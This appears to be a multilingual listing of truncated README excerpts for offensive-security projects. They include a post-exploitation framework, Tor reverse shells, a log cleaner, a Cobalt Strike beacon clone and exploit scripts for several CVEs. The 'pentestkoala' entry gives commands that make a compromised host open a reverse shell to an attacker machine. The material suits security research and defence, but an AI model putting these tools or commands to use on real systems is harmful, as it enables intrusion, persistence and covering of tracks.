gdb-static

GDB/GDBServer static 描述 这是一个静态GDB和GDBServer的公共仓库。 链接 https://github.com/hugsy/gef https://github.com/hugsy/gef-extras...

droidcarve

DroidCarve DroidCarve 能够分析 Android APK 文件并自动执行某些逆向工程任务。本仓库包含服务端和客户端组件。 前端 前端是一个 React 应用，位于 client/ 子文件夹中。 后端 后端是一个 Python flask 应用，位于 server/ 子文件夹中。 安装 自动安装 安装文件目前仅适用于 OS X，但 DroidCarve 在 Linux 上应该也能正常运行，安装请参见“手动安装”部分。 root@kitploit: git clone https://github.com/DarioI/droidcarve cd droidcarve...

RedGhost

RedGhost Linux 后渗透框架，旨在帮助红队实现持久化、侦察、权限提升以及不留下痕迹。 Payloads 生成各种编码的反向 Shell 的函数，支持 netcat, bash, python, php, ruby, perl SudoInject 为 sudo 命令注入包装函数的函数，每次运行 "sudo" 时执行反向 root Shell，用于权限提升 lsInject 为 "ls" 命令注入包装函数的函数，每次运行 "ls" 时执行 payload，用于持久化 SSHKeyInject 使用 strace 记录 SSH 进程按键记录的函数 Crontab 创建 cron...

nuubi

Nuubi Tools Scanner, Recon. Details root@kitploit: Options: -h/--help | Show help message and exit Arguments: -b/--banner | Banner grabing of target ip address -s/--subnet | Subnetlookup of target -c/--cms | Cms detect with headers -d/--dns | Dnslookup of target domain -e/--extract | Extract link...

tornado

tornado 通过洋葱网络利用隐藏服务实现匿名反向Shell，无需端口转发 查看文档 完全不可检测的反向Shell · 查看演示 · 坚不可摧的匿名性 目录 1. 什么是 tornado？ 2. 构建工具 3. 开始使用 安装 4. 使用说明 5. 路线图 6. 贡献 7. 许可证 8. 免责声明 如果你遇到任何操作系统兼容性问题，请告诉我。我会尽快修复，所以请查阅文档。 什么是 tornado？ Tornado 将 Tor 网络与 Metasploit-framework 工具和 msfvenom 模块结合使用，你可以轻松为本地主机创建无需端口转发的 .onion...

ARTful

Descripción ARTful es una biblioteca nativa de Android que permite a los desarrolladores modificar el Android Runtime ART en Android 13 y 14. Con esta herramienta, puedes cambiar dinámicamente la implementación de cualquier método estático dentro de tu aplicación o del Android Framework para...

pyREtic

pyREtic 0.5.1 自述文件 Rich Smith - [email protected] pyREtic 最新版本可在以下地址找到：https://github.com/MyNameIsMeerkat/pyREtic 它是什么？ pyREtic 是一个可扩展的框架，旨在帮助执行各种针对 Python 语言项目的逆向工程任务。 它帮助逆向工程师从字节码（.pyc）恢复源代码（.py），特别是在被逆向的代码已采取手段试图阻止使用标准工具集进行反编译的情况下。 它由三个主要部分组成： REpdb ：一个以逆向工程为中心的 pdb...

tenet

Tenet - 逆向工程师的追踪浏览器 概述 Tenet 是一款用于探索执行轨迹的 IDA Pro 插件。该插件的目标是提供更自然、更人性化的控制方式，以便在给定二进制文件中导航执行轨迹。这项工作的基础源于研究新的或创新方法来检查和提炼软件中复杂执行模式的愿望。 关于该项目的更多背景，请阅读其初始发布时的博客文章。 特别感谢 QIRA / geohot 等人带来的灵感。 发布版本 v0.2 -- 映像基址检测、单元格可视化、断点重构、错误修复。 v0.1 -- 初始版本 安装 Tenet 是一个跨平台（Windows、macOS、Linux）的 Python 3...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool Exploit en Python para la vulnerabilidad CVE-2021-22204 en Exiftool. Sobre la vulnerabilidad La vulnerabilidad CVE-2021-22204 fue descubierta y reportada por William Bowling. @wcbowling Este exploit se creó estudiando el parche de exiftool después de que la CVE ya fuera...

Webmin-CVE-2022-0824-revshell

Webmin-CVE-2022-0824-revshell Descripción de la Vulnerabilidad Webmin 1.984 y anteriores - Exploit de privilegios del Administrador de Archivos CVE-2022-0824 y CVE-2022-0829 Usuarios de Webmin con menos privilegios que no tengan restricciones configuradas en el módulo del Administrador de Archivo...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 Ejecución Remota de Código Autenticada ⚠️ Aviso Este repositorio está destinado exclusivamente para fines educativos y de investigación. Todas las demostraciones se realizaron en un entorno de laboratorio controlado. El uso no autorizado de pruebas o la explotació...

freedomfighting

自由抗争脚本 此仓库包含一些在自由抗争活动中可能派上用场的脚本。它会偶尔更新，当我自己需要某些找不到在线资源的东西时。这里的所有内容均遵循 GPL v3 许可证 条款发布。 欢迎贡献和拉取请求。 目录 nojail.py，一个 Python 日志清理工具。 share.sh，一个安全文件共享脚本。 autojack.py，一个终端日志记录器。 listurl.py，一个站点映射器。 ersh.py，一个加密反向 Shell。 bootcheck.py，一个检测邪恶女佣攻击的脚本。 notifyhook.py，一种在系统上调用某些二进制文件时触发警报的方式。 杂项（联系与捐赠）...

CTFs

Writeups de CTF Hola, soy Sean y disfruto resolviendo problemas de CTF en mi tiempo libre. Mi puesto actual implica mucho trabajo de explotación binaria e ingeniería inversa de software, así que tiendo a centrarme en esas categorías. La mayoría de los writeups que veo en línea apestan y espero qu...

CVE-2016-10033

PoC de explotación de CVE2016-10033 Este repositorio contiene los archivos necesarios para explotar CVE2016-10033 en una versión vulnerable de WordPress. Con estas instrucciones podrás obtener un shell interactivo inverso no Pseudo-TTY en el contenedor que ejecuta WordPress como el usuario que...

CVE-2025-5781

Exploit de FreePBX CVE-2025-57819 Descripción Este script explota una vulnerabilidad en versiones de FreePBX anteriores a 16.0.26.0 CVE-2025-57819, permitiendo a atacantes remotos ejecutar código PHP arbitrario a través de una falla de inyección SQL en el endpoint de la API AJAX. El exploit crea...

CVE-2024-9474

PAN-OS CVE-2024-0012 y CVE-2024-9474 Script de Python generado a partir del artículo del blog : https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/?123 Todo está descrito allí Mi comentario en X : https://x.com/k4nfr3/status/1858993646923903103...

pentestkoala

Koala 是 dropbear SSH 服务器的一个修补版本，它不绑定到端口，而是通过连接到远程客户端来开启反向 Shell。 这对于在被利用的机器上获取 pty 终端以及通过 SSH 端口转发安全地外泄数据非常有用。还可以通过使用动态 SSH 端口转发功能进行跳板攻击（Pivoting）。 用法 在客户端上运行以下命令以监听 SSH 连接： $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999' 在已被利用的主机上运行： $ ./dropbear -p client-host:5000 现在在客户端上，连接到端口 9999 以开启 Shell： $ s...

geacon

Geacon 使用 Go 语言实现 CobaltStrike 的 Beacon 本项目仅用于学习协议分析和逆向工程，若侵犯了他人权益，请联系我删除项目，此外请勿非法使用。 玩法说明 1. 搭建团队服务器并启动一个 HTTP 监听器，团队服务器会生成文件 .cobaltstrike.beaconkeys。 2. 使用 Jetbrains Idea 编译 BeaconTool，执行命令 java -jar BeaconTool.jar 将 Java 密钥库转换为 PEM 格式。 3. 替换文件 cmd/config/config.go 中的 RSA 密钥对（RSA...

geacon

Geacon Using Go to implement CobaltStrike's Beacon This project is for learning protocol analysis and reverse engineering only, if someone's rights have been violated, please contact me to remove the project, and the last DO NOT USE IT ILLEGALLY How to play 1. Setup the teamserver and start a htt...

Project-CVE-2026-50751

CVE-2026-50751 IKEv1 Security Testing Description This Python script is an offensive security-testing framework designed to target CVE-2026-50751, a Check Point IKEv1 VPN authentication-bypass vulnerability. Features Scans IP addresses for IKEv1 VPN services on UDP port 500 Attempts to identify...